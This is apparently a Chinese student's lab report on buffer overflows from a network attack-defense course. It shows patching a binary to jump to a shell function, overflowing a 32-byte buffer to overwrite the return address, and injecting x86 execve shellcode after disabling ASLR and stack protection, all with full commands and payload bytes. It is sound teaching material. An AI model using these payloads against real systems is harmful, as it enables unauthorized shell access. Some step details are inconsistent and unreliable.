2018-2019-2 20165212《网络对抗技术》Exp1  缓冲区溢出实验

实验点1:逆向及Bof基础实践

实践任务

用一个pwn1文件。 该程序正常执行流程是:main调用foo函数,foo函数会回显任何用户输入的字符串。 该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不被运行的。实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。

三个实践内容:

  • 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
  • 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
  • 注入一个自己制作的shellcode并运行这段shellcode。 这几种思路,基本代表现实情况中的攻击目标: 运行原本不可访问的代码片段 强行修改程序执行流 以及注入运行任意代码。

基础知识

  • NOP, JNE, JE, JMP, CMP汇编指令的机器码

    • NOP:NOP指令即“空指令”。执行到NOP指令时,CPU什么也不做,仅仅当做一个指令执行过去并继续执行NOP后面的一条指令。(机器码:90)
    • JNE:条件转移指令,如果不相等则跳转。(机器码:75) -JE:条件转移指令,如果相等则跳转。(机器码:74)
    • JMP:无条件转移指令。段内直接短转Jmp short(机器码:EB) 段内直接近转移Jmp near(机器码:E9) 段内间接转移 Jmp word(机器码:FF) 段间直接(远)转移Jmp far(机器码:EA)
    • CMP:比较指令,功能相当于减法指令,只是对操作数之间运算比较,不保存结果。cmp指令执行后,将对标志寄存器产生影响。其他相关指令通过识别这些被影响的标志寄存器位来得知比较结果。
  • 常用的Linux基本操作
    • objdump -d:从objfile中反汇编那些特定指令机器码的section。
    • perl -e:后面紧跟单引号括起来的字符串,表示在命令行要执行的命令。
    • xxd:为给定的标准输入或者文件做一次十六进制的输出,它也可以将十六进制输出转换为原来的二进制格式。 -ps -ef:显示所有进程,并显示每个进程的UID,PPIP,C与STIME栏位。
    • |:管道,将前者的输出作为后者的输入。
    • >:输入输出重定向符,将前者输出的内容输入到后者中

实验步骤:

  • 用 objdump -d pwn1 看其汇编代码(图中是pwn3,做完了写博客截图用)

e8表示“call”,后面的d7 ff ff ff是要跳转的地址,只要改成e3 ff ff ff就会跳到getShell函数(通过偏移量得出)。

修改步骤:

  • vim pwn1 进入命令模式
  • 输入 :%!xxd 将显示模式切换为十六进制
  • 在底行模式输入/e8d7定位需要修改的地方,并确认
  • 进入插入模式,修改d7为c3
  • 输入 :%!xxd -r
  • 将十六进制转换为原格式
  • 使用 :wq 保存并退出 然后 ./pwn1 运行就可以了

实验点2:自己构造输入参数使缓冲区溢出,参数溢出部分为getShell函数的地址

系统读入字符串留32字节缓冲区,输入超过32字节就会溢出,就用溢出的部分去覆盖返回地址

  • 思路:

    • 反汇编pwn1文件找到getShell的地址:0804847d
    • 输入参数,使32字节后面内容为地址0804847d对应的数
    • 执行文件
  • 步骤:

    • (已知getshell地址为0804847d,都一样)
    • perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input  生成一个input文件,参数已经构造好的
    • xxd input  可以查看构造的文件.
    • (cat input; cat) | ./pwn1  命令输入参数

实验点3:注入shellcode并执行(RNS)

首先使用 apt-get install execstack 命令安装execstack。 然后接连输入:

root@KaliYL:~# execstack -s pwn1 //设置堆栈可执行
root@KaliYL:~# execstack -q pwn1 //查询文件的堆栈是否可执行 X pwn1
root@KaliYL:~# more /proc/sys/kernel/randomizevaspace root@KaliYL:~# echo "" > /proc/sys/kernel/
randomizevaspace //关闭地址随机化
root@KaliYL:~# more /proc/sys/kernel/randomizevaspace

目标:向foo函数输入参数,造成缓冲区溢出,改变foo的返回地址,,跳到shellcode。也就是,找到foo函数的返回的地址,将其改成shellcode开始的地址 步骤:

  - 使用命令   perl -e 'print "A" x 32;print "\x04\x03\x02\x01\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode  注入,前面32个A用来填满buf,\x04\x03\x02\x01为预留的返回地址,下面找这个返回地址。

  • 在一个终端里用 (cat input_shellcode;cat) | ./pwn1 注入这段攻击,回车后不要动这个终端,然后去打开另一个终端。

  • 在第二个终端中

    • ps -ef | grep pwn 查看pwn进程号
    • 用gdb, attach  去调试这个进程
    • disassemble foo 命令反汇编,通过设置断点,来查看注入buf的内存地址:
    • 用 break *0x080484ae 命令设置断点,输入c命令(continue)继续运行,同时在pwn1进程正在运行的终端敲回车,使其继续执行。再返回调试终端,使用info r esp命令查找地址
    • 用x/16x 0xffffd2ac命令查看其存放内容,看到了0x01020304,就是返回地址的位置。根据我们构造的input_shellcode可知,shellcode就在其后,所以地址应为0xffffd2b0
    • 接下来只需要将之前的\x4\x3\x2\x1改为这个地址即可,用命令 perl -e 'print "A" x 32;print "\xb0\xd2\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
    • 再用 (cat input_shellcode;cat) | ./pwn1 命令次执行程序,攻击成功!

遇到的问题

1.命令行中的文件图形化界面中找不到

  • 在命令行中用 nautilus /xxx  去打开终端中能看到而图形化界面中找不到的文件夹。

2.进程锁

感想

这次在参考学长博客下完成,我边做边思考:第二个实验点和第三个实验点有什么区别?思考结果:同样都是注入参数覆盖缓冲区,使溢出部分跳到shell,并且没有自己写shellcode,因此我觉得后面两个任务一样。 应该是我对这两个概念还没完全理解吧。 本次实验就是把课上老师描绘的过程自己照着教程做一遍。

什么是漏洞,漏洞的危害?

答:漏洞是软件或者硬件设计上的缺陷。比如,芯片里的电路 逻辑不严谨没有考虑边界值、计算机系统的缓冲区溢出漏洞,DES算法被差分攻击等。。。

危害:可能会被他人(未授权的任)获得信息,从而引发更大的危害,可能电脑被植入木马病毒,自己的电脑被他人控制,泄露机密,使自身利益受损。

2018-2019-2 20165212《网络对抗技术》Exp1 PC平台逆向破解的更多相关文章

  1. 20155324《网络对抗》Exp1 PC平台逆向破解(5)M

    20155324<网络对抗>Exp1 PC平台逆向破解(5)M 实验目标 本次实践的对象是一个名为~pwn1~的~linux~可执行文件. 该程序正常执行流程是:~main~调用~foo~ ...

  2. 20155232《网络对抗》 Exp1 PC平台逆向破解(5)M

    20155232<网络对抗> Exp1 PC平台逆向破解(5)M 实验内容 (1).掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码(1分) (2)掌握反汇编与十六进制编程 ...

  3. 20155227《网络对抗》Exp1 PC平台逆向破解(5)M

    20155227<网络对抗>Exp1 PC平台逆向破解(5)M 实验目标 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函数 ...

  4. 2018-2019-2 20165236郭金涛《网络对抗》Exp1 PC平台逆向破解

    2018-2019-2 20165236郭金涛<网络对抗>Exp1 PC平台逆向破解 一.实验内容 1.掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码(0.5分) 2.掌 ...

  5. 20155208徐子涵 《网络对抗》Exp1 PC平台逆向破解

    20155208徐子涵 <网络对抗>Exp1 PC平台逆向破解 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函数 ...

  6. 20145325张梓靖 《网络对抗技术》 PC平台逆向破解

    20145325张梓靖 <网络对抗技术> PC平台逆向破解 学习任务 shellcode注入:shellcode实际是一段代码,但却作为数据发送给受攻击服务器,将代码存储到对方的堆栈中,并 ...

  7. # 《网络对抗》Exp1 PC平台逆向破解20155337祁家伟

    <网络对抗>Exp1 PC平台逆向破解20155337祁家伟 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函数会 ...

  8. 20145206邹京儒《网络对抗技术》 PC平台逆向破解

    20145206邹京儒<网络对抗技术> PC平台逆向破解 注入shellcode并执行 一.准备一段shellcode 二.设置环境 具体在终端中输入如下: apt-cache searc ...

  9. 20145331魏澍琛 《网络对抗技术》 PC平台逆向破解

    20145331魏澍琛 <网络对抗技术> PC平台逆向破解 学习任务 1.shellcode注入:shellcode实际是一段代码,但却作为数据发送给受攻击服务器,将代码存储到对方的堆栈中 ...

  10. 20145336张子扬 《网络对抗技术》 PC平台逆向破解

    #20145336张子扬 <网络对抗技术> PC平台逆向破解 ##Shellcode注入 **基础知识** Shellcode实际是一段代码,但却作为数据发送给受攻击服务器,将代码存储到对 ...

随机推荐

  1. Lua中模块初识

    定义了两个文件: Module.lua 和 main.lua 其中,模块的概念,使得Lua工程有了程序主入口的概念,其中main.lua就是用来充当程序主入口的. 工程截图如下: Module.lua ...

  2. 家里各台机器的php性能测试

    所用脚本: <?php $before = microtime(true); $list= array( "keya" => "the value a&quo ...

  3. [don't have permission to access]的一个经典原因

    那就是 ..... SELinux ...... 几年前好像经历过这个恶梦.现在又经历了一回. 从Windows上传了一个目录,做一个apache的别名Alias, 结果总是没有权限. chmod 7 ...

  4. 记一次无法正常本地登陆Linux服务器(确定密码正确)

    首先,ssh可以正常登陆使用.但是,本地可以确定密码是正确的情况还是不能登陆. 然后查看/var/log/secure文件如下提示: 然后,尝试去看了下/etc/pam.d/login 下面(有问题的 ...

  5. Python基础--文件操作和集合

    这篇博客来说一下python对文件的操作. 对文件的操作分三步: 1.打开文件获取文件的句柄,句柄就理解为这个文件 2.通过文件句柄操作文件 3.关闭文件. 现有以下文件file.txt: 我们哭了 ...

  6. MySQL Replication 线程(理解详细过程)

    Replication 线程 Mysql 的Replication 是一个异步的复制过程,从一个Mysql instace(我们称之为Master)复制到另一个Mysql instance(我们称之S ...

  7. python-day71--django多表操作

    表关系: 1 一对多 2 多对多 3 一对一 添加记录: 一对多:书与出版社 #创建一对多: publish=models.ForeignKey("Publish") 注意:pub ...

  8. node搭建本地服务器

    随着前端不断发展,node基本已经成为必备,在调试的时候经常需要服务器,在之前的做法通常是去下载一个phpstudy 或者 xampp等启动一个服务,作为一个前端人虽然可以借助各种工具,但是怎么能不懂 ...

  9. spring的FactoryBean

    (以下内容翻译自spring/docs/3.2.18.RELEASE) 为具有工厂属性的对象实现FactoryBean接口. FactoryBean接口是spring IoC 容器实例化逻辑的一点补充 ...

  10. dwz tree组件 取得所选择的值

    DWZ的树结构是按<ul>,<li>的嵌套格式构成,最顶级的<ul>以class=”tree”标识. treeFolder, treeCheck, expand|c ...